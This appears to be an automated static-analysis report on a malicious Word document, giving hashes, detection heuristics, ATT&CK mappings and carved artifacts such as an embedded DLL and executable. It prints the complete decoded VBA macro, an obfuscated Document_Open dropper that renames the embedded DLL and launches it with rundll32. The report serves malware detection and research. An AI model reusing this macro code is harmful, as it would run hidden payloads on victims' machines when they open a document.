Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d49f2569b2b1cfd…

MALICIOUS

Office (OLE)

1.07 MB Created: 2021-07-01 09:36:00 Authoring application: Microsoft Office Word First seen: 2021-07-10
MD5: 44a3bee1c3d2d256c15565d71f26fc9a SHA-1: 48d1c4c5c09b4d9a17c4eb2b510bb4a13ba45919 SHA-256: 6d49f2569b2b1cfd37632eac81c97051148ba960f4a0d25a2ff96119a8c69983
530 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability, to execute arbitrary code. It contains a Document_Open macro that attempts to download and execute a DLL named 'niberius.dll' from the user's template path. The document also embeds a PE executable, further indicating its malicious intent as a downloader or dropper.

Heuristics 13

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Downloader.Jrat-6336393-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Jrat-6336393-1
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to WinExec API high SC_STR_WINEXEC
    Reference to WinExec API
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2932 bytes
SHA-256: 9761bf3bf9c7f742d348111068acadda0e5b3c1c7b2a7a3601994e74798830bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
Dim bbbb As String
Dim cx
cx = wdUserTemplatesPath
bbbb = "r"
vcbc = Options.DefaultFilePath(cx)
bbbb = bbbb & "u" & "n" & "dl"
If Dir(vcbc & "\niberius.dll") = "" Then
Call yyy

If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l3" & "2"


  gc 0, vbNullString, _
    bbbb & cvzz, vcbc & "\niberius.dll,PUGXLMMFCEB", _
     vbNullString, 1
End If
End If
End Sub





Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd
End Sub






Attribute VB_Name = "Module1"
Dim pls As String


Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub




Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\" & "niberius" & ".dll"
Name pafs As pls & oxl
End Sub


Sub uoia(fffs As String)
pls = fffs
End Sub
 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "nimb.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub







Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"
Dim dfbvc As String
Sub bvxfcsd()

Call asda

Dim ewrwsdf As String
ewrwsdf = "L" & "o" & "c" & dfbvc & "mp"



    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)
End Sub


Sub asda()

dfbvc = "al" & "\Te"
End Sub
embedded_office_0008f271.exe embedded-pe Office MZ+PE at offset 0x8F271 537999 bytes
SHA-256: 10543d9cb43748b79ef48254f0975be0a356a079a6999ec0a1de1581705c6c1b
Detection
ClamAV: Win.Trojan.Injectorx-9876306-0
Obfuscation or payload: unlikely
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1686612485/Ole10Native 498485 bytes
SHA-256: efdc5ef7ab47f8e97828131089f048eb0487d44187cdb4f3a82572f24dd87d6d
ole10native_00_nimb.dll ole-package-payload OLE Ole10Native payload: ObjectPool/_1686612485/Ole10Native; display_name=nimb.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\nimb.dll; temp_path=; def_file= 498176 bytes
SHA-256: b2921c1f4a8bdae171c6a3e122d4b2f9cfe28f9ab7bc1d3096dfbc3eb4cd8839

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